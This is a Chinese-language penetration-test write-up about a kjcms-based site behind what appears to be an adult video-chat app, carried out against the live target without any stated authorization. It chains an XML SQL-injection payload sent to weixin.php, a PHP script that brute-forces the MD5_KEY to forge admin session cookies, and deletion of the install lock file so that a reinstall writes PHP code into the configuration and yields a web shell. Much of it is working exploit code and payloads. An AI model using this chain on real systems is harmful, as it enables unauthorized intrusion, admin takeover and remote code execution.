記一次有趣的裸聊滲透測試
打開鏈接,發(fā)現(xiàn)是一個裸聊的app下載,夜神+burp抓包,
獲取到網(wǎng)址,通過js的文件特征去github查找源碼文件。

根據(jù)代碼發(fā)現(xiàn)他是一個kjcms,然后去官網(wǎng)下載源碼來進行審計
sql注入
在cls_weixin::on_exe方法中,有許多執(zhí)行sql語句的點

這里注入需要滿足$arr_msg[‘FromUserName’]可控,發(fā)現(xiàn)$arr_msg變量調(diào)用了當(dāng)前類的get_msg()方法,跟進這個方法:
static function get_msg() {$arr_return = array();$cont = file_get_contents("php://input");//$cont = file_get_contents(KJ_DIR_ROOT . "/test.txt");if(empty($cont)) return $arr_return;$request = simplexml_load_string($cont , 'SimpleXmlElement' , LIBXML_NOCDATA);$arr_return = fun_format::toarray($request);return $arr_return;}
發(fā)現(xiàn)$cont是通過post數(shù)據(jù)流獲取的,傳入的xml,繼續(xù)跟進fun_format::toarray
static function toarray($cont) {if(gettype($cont) == "string") $cont = json_decode($cont);$arr = (array)$cont;foreach($arr as $item=>$key) {if(gettype($key) == 'object' ) {$key = self::toarray($key);} else if(gettype($key) == 'array'){$key = self::objtoarray($key);}$arr[$item] = $key;}return $arr;}
這里不太重要,只是把xml的值轉(zhuǎn)化為數(shù)組,所以在on_exe方法中的$arr_msg數(shù)組是可控的,即可以產(chǎn)生sql注入,經(jīng)過本地測試發(fā)現(xiàn),在on_exe方法中的數(shù)據(jù)查詢很多都不存在表,這里發(fā)現(xiàn)一個點:

跟進tab_weixin_message::get_one方法,參數(shù)$key是我們可控的,參數(shù)$site_id無關(guān)緊要

全局查找cls_weixin::on_exe,在根目錄weixin.php調(diào)用了這個方法
include("inc.php");if(isset($_GET["echostr"])) {echo $_GET["echostr"];exit;}cls_weixin::on_exe();
現(xiàn)在就只需要構(gòu)造payload了,這里要進入到執(zhí)行tab_weixin_message::get_one方法,需要進過:
issert($arr_msg['ToUserName'])->issert($arr_msg['FromUserName'])->$arr_msg['MsgType']?==?'event'->$arr_msg['Event'])?==?'click'
這個點只能時間盲注,在我本地測試的時候可以通過updatexml(1,if(({}),0x7c,1),1)的方法來實現(xiàn)時間盲注變成布爾注入,目標(biāo)環(huán)境問題無法實現(xiàn),我就寫了個腳本去跑賬號密碼。

發(fā)現(xiàn)自己傻逼了,在目錄文件中會生成數(shù)據(jù)庫報錯的文件,路徑為:/data/error/db_query/2020_09_16.txt(年份_月份_日.txt)

知道表結(jié)構(gòu)和字段,直接去目標(biāo)站注入,拿到后臺密碼hash,發(fā)現(xiàn)解密不了,看了下代碼,有鹽,是通過md5(pass+鹽)進行加密的,這里鹽也是在密碼表中可以看到的,發(fā)現(xiàn)也解密不了。
偽造cookie
在登錄處,發(fā)現(xiàn)cookie中的kj_s_id和kj_login_time是用來登錄的,感覺可以偽造,這里我跟進下代碼,看下kj_s_id是怎么生成的,驗證登錄處代碼:
function act_login_verify() {$arr_return = $this->on_login_verify();return fun_format::json($arr_return);}
跟進on_login_verify方法
function on_login_verify() {$arr_return = array("code" => 0 , "id"=>0 , "msg" => cls_language::get("login_ok"));$arr_fields = array("user_name" => fun_get::post("uname"),"user_pwd" => fun_get::post("pwd"),"verifycode" => fun_get::get("verifycode"),"autologin" => fun_get::get("autologin"));if(!fun_is::pwd($arr_fields["user_pwd"])) {$arr_return["code"] = 7;$arr_return["msg"] = fun_get::rule_pwd("tips");return $arr_return;}$arr = cls_obj::get("cls_user")->on_login($arr_fields);if( $arr["code"] != 0 ) {$arr_return = $arr;return $arr_return;}return $arr_return;}
$arr_fields數(shù)組中獲取登錄的賬號密碼,繼續(xù)跟進on_login方法

$str_id是通過fun_get::safecode方法來的,現(xiàn)在只需要$perms[‘sid’]是怎么來的,跟進查看,并沒發(fā)現(xiàn)到什么,這里,我直接打印出self::$perms[‘sid’]的值,發(fā)現(xiàn)是ip+時間戳+隨機數(shù)的形式
echo?self::$perms['sid'];exit;
發(fā)現(xiàn)這里數(shù)據(jù)存放在數(shù)據(jù)庫的kj_sys_session表中的session_id字段,而session_user_id表示是否登錄在,1表示登錄在,0表示退出了登錄。

我們有注入點,這個session_id我們可以通過注入來獲取到的,現(xiàn)在跟進fun_get::safecode方法,看cookie中的kj_s_id是怎么加密的

跟進$str_key變量,看他是從哪里來的,跟進cls_config::MD5_KEY,發(fā)現(xiàn)他來自data\config\cfg.env.online.php中的MD5_KEY常量。而這個常量是安裝的時候隨意random的五位數(shù)

最后獲取的$str_return是由3部分組成$str_left,base64($msg_val),$str_right,所以這個$str_key變量需要我們繼續(xù)爆破,并且知道fun_get::safecode方法的$msg_val參數(shù)是ip+時間戳+隨機數(shù)的形式,下面就進行漏洞復(fù)現(xiàn)。
漏洞復(fù)現(xiàn)
首先抓取目標(biāo)站后臺登錄時的cookie,如:NgMTE5LjYyLjEyNC4yMTE1OTgzNTI1NDM4NzUYTBjZmVkN2ZmMzY2OTYzYg,假設(shè)我的ip地址為104.192.225.86,通過base64為MTAzLjE5Mi4yMjUuODY=,去掉=。本地經(jīng)過測試發(fā)現(xiàn)ip+時間戳+隨機數(shù)通過base64編碼后為36位,所以上面的加密密文就為:
NgMTE5LjYyLjEyNC4yMTE1OTgzNTI1NDM4NzUYTBjZmVkN2ZmMzY2OTYzYg
我們通過注入獲取$msg_val參數(shù)和登錄狀態(tài)
<note><ToUserName>ccccToUserName><FromUserName>1FromUserName><MsgType>eventMsgType><Event>clickEvent><EventKey>1' and updatexml(1,concat(0x7e,(select concat(session_id,0x7e,session_user_id) from `kj_sys_session` order by session_user_id desc limit 0,1),0x7e),1)#EventKey>note>

成功讀取到了,這里就需要爆破MD5_KEY,他是五位數(shù)的,用他的代碼修了下php的爆破腳本
function safecode($msg_val,$msg_type="encode",$str_key_val = '36118'){ // 192.168.50.1351600069125552$str_key = $str_key_val;$str_en_key = base64_encode($str_key);$str_md5_key = md5($str_key);$str_md5_key_1 = substr($str_md5_key , 0 , 1);$str_md5_key_2 = substr($str_md5_key , -1 , 1);$lng_key_1 = ord($str_md5_key_1);$lng_key_2 = ord($str_md5_key_2);$lng_x_key1 = substr($lng_key_1,-1,1);if($lng_key_1 > 9) {$lng_x_key2 = intval(substr($lng_key_1 , -2 , 1)) + $lng_x_key1;}else{$lng_x_key2 = $lng_x_key1 * 2;}$str_left = base64_encode(substr($str_md5_key , $lng_x_key1 , $lng_x_key2));$lng_2_key1 = substr($lng_key_2 , -1 , 1);if($lng_2_key1 > 9){$lng_2_key2 = intval(substr($lng_key_2 , -2 , 1)) + $lng_2_key1;}else{$lng_2_key2 = $lng_2_key1 * 2;}$str_right = base64_encode(substr($str_md5_key , -$lng_2_key2));if($msg_type == "encode"){$str_en_id = base64_encode($msg_val);$str_en_code = $str_left . $str_en_id . $str_right;$str_return = str_replace("=" , "" , $str_en_code);}else{$str_left = str_replace("=" , "" , $str_left);$str_right = str_replace("=" , "" , $str_right);$str_llen = strlen($str_left);$str_rlen = strlen($str_right);$str_len = strlen($msg_val);if($str_len < ($str_llen + $str_rlen)){$str_return = "";}else{$str_return = base64_decode(substr($msg_val , $str_llen , -$str_rlen));}}return $str_return;}function getNumber($start=1,$end=99999){for ($i=$start; $i <= $end; $i++) {$arr[] = substr(str_repeat("0",6).$i,-5,5);}return $arr;}$numbers= getNumber(1,99999);foreach ($numbers as $val){$keyss = safecode('105.112.215.421600227695831','encode',$val)."
";echo $keyss.':'.strval($val)."
";if ($keyss == 'NgMTAzLjE5Mi4yMjUuNDIxNjAwMjI3Njk1ODMxYTBjZmVkN2ZmMzY2OTYzYg'){echo $val;exit;}}
成功獲取到了MD5_KEY,然后我們在通過這個腳本利用這個MD5_KEY來生成kj_s_id

最后就可以偽造cookie登錄后臺了


重裝漏洞getshell
本來以為后臺可以直接修改文件上傳的后綴,發(fā)現(xiàn)事情并沒有那么簡單

發(fā)現(xiàn)還是限制了php無法上傳,跟進這部分代碼看了下,lib\tab\tab.other.attatch.php

這里會先獲取上傳文件的后綴,來判斷后綴是否存在$arr_no_allow_ext數(shù)組中,所以會先判斷數(shù)組里面的上傳類型,在判斷允許上傳的類型。這里只有針對windows可以getshell了,我們將上傳類型修改成php(空格),由于windows特性,會把空格去掉。

然而我們的目標(biāo)是linux,這種方式不行了,再回來看看代碼后臺是否有g(shù)etshell的點,除了在重新安裝的點就沒發(fā)現(xiàn)可以shell的點了(自己太菜了,找到不影響正常功能shell的點)。在文件app\model\install\mod.index.php中的on_config方法:

mysql的賬號密碼是通過file_put_contents函數(shù)寫入到配置文件\data\config\cfg.env.online.php,并沒有通過這個cms的過濾函數(shù)fun_get::get/post方法,這個方法過濾如下:
static function filter_base($str_x , $is_reback=false) {$search = array("&","&","/amp;/amp;/amp;",'"',"'","<",">",chr(13).chr(10));$replace = array("/amp;/amp;/amp;","&","&",""","'","<",">",chr(13));if($is_reback) {$str_x = str_replace($replace , $search , $str_x);$str_x = str_replace('\\\'',"'",$str_x);//替換經(jīng)過mysql轉(zhuǎn)義的格式$str_x = str_replace('\\"','"',$str_x);}else{$str_x = str_replace($search , $replace , $str_x);}return $str_x;}
全局查了下,$is_reback參數(shù)都是為默認(rèn)的false,為true的話,這個過濾就沒啥影響了。現(xiàn)在重裝漏洞的點可以實現(xiàn)了,需要一處任意文件刪除來將\data\install.inc鎖文件進行刪除就可以重新安裝了。在后臺系統(tǒng)日志處,有一次日志文件刪除的點,這個點不用看代碼都知道可以刪除,因為在fun_get::get/post方法中并沒有過濾/``.。

刪除了install.inc鎖文件就可以進行重新安裝了。在數(shù)據(jù)庫名填上我們的任意php代碼,就可以shell了。

重裝漏洞雖然可以拿下shell
但是不推薦使用重裝漏洞
會影響正常網(wǎng)站的數(shù)據(jù)
重要的事說三遍
涉及到重要數(shù)據(jù)千萬不要使用重裝漏洞
涉及到重要數(shù)據(jù)千萬不要使用重裝漏洞
涉及到重要數(shù)據(jù)千萬不要使用重裝漏洞
